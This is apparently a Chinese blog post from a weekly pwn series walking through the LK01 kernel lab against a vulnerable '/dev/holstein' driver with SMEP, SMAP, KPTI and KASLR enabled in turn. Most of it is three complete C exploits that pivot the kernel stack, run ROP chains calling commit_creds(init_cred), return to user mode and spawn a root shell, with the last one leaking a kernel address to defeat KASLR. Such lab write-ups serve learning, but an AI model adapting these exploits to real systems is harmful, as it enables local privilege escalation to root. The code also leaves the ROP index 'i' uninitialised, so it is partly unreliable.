每周一pwn系列

LK01 +smep

在qemu启动脚本里添加+smep

这下原来的EXP就打不通了

第一种思路是修改cr4寄存器关掉保护,不过没找到合适的gadget

第二种思路就是走krop,这里把内核栈劫持到用户空间上走krop,正好有合适的gadget:

利用 swapgs 和 iretq 降落到用户态

#define _GNU_SOURCE 
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff

size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret; 

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");

	char buf[0x420]={0};
	*(size_t *)&buf[0x408]=(size_t)stack_pivot;

	char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, 
	PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
	
	size_t ropchain[0x20];
	int i;
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=init_cred;
	ropchain[i++]=commit_creds_addr;
	ropchain[i++]=SWAPGS_RET;
	ropchain[i++]=IRETQ_POP_RBP_RET;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(userland+0x4000, ropchain, sizeof(ropchain));

	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}

LK01 +smep, +smap, kpti

在qemu启动脚本里添加+smep,+smappti

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti nokaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs.cpio \
    -net nic,model=virtio \
    -net user

走krop,利用 swapgs_restore_regs_and_return_to_usermode 降落到用户态

#define _GNU_SOURCE 
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff

size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret; 

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <WIN>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");

	char buf[0x460]={0};

	size_t ropchain[0x20];
	int i;
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=init_cred;
	ropchain[i++]=commit_creds_addr;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode_addr+0x16;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(&buf[0x408], ropchain, sizeof(ropchain));

	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}

LK01 +smep, +smap, kpti, kaslr

把kaslr也开起来

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti kaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs.cpio \
    -net nic,model=virtio \
    -net user

可以任意地址读写,泄露出返回地址得到内核偏移量,然后常规操作

#define _GNU_SOURCE 
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff

size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret; 

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <WIN>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");

	char buf[0x460]={0};
	read(fd, buf, 0x410); //0x13d33c
	koff=*(size_t *)&buf[0x408]-0xffffffff81000000-0x13d33c;
	printf("[+] koff: 0x%lx\n",koff);
	
	init_cred+=koff;
	commit_creds_addr+=koff;
	swapgs_restore_regs_and_return_to_usermode_addr+=koff;
	
	
	size_t ropchain[0x20];
	int i;
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=init_cred;
	ropchain[i++]=commit_creds_addr;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode_addr+0x16;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(&buf[0x408], ropchain, sizeof(ropchain));

	write(fd, buf, sizeof(buf)); // 0x000000000000020E

	return 0;
}

⬆︎TOP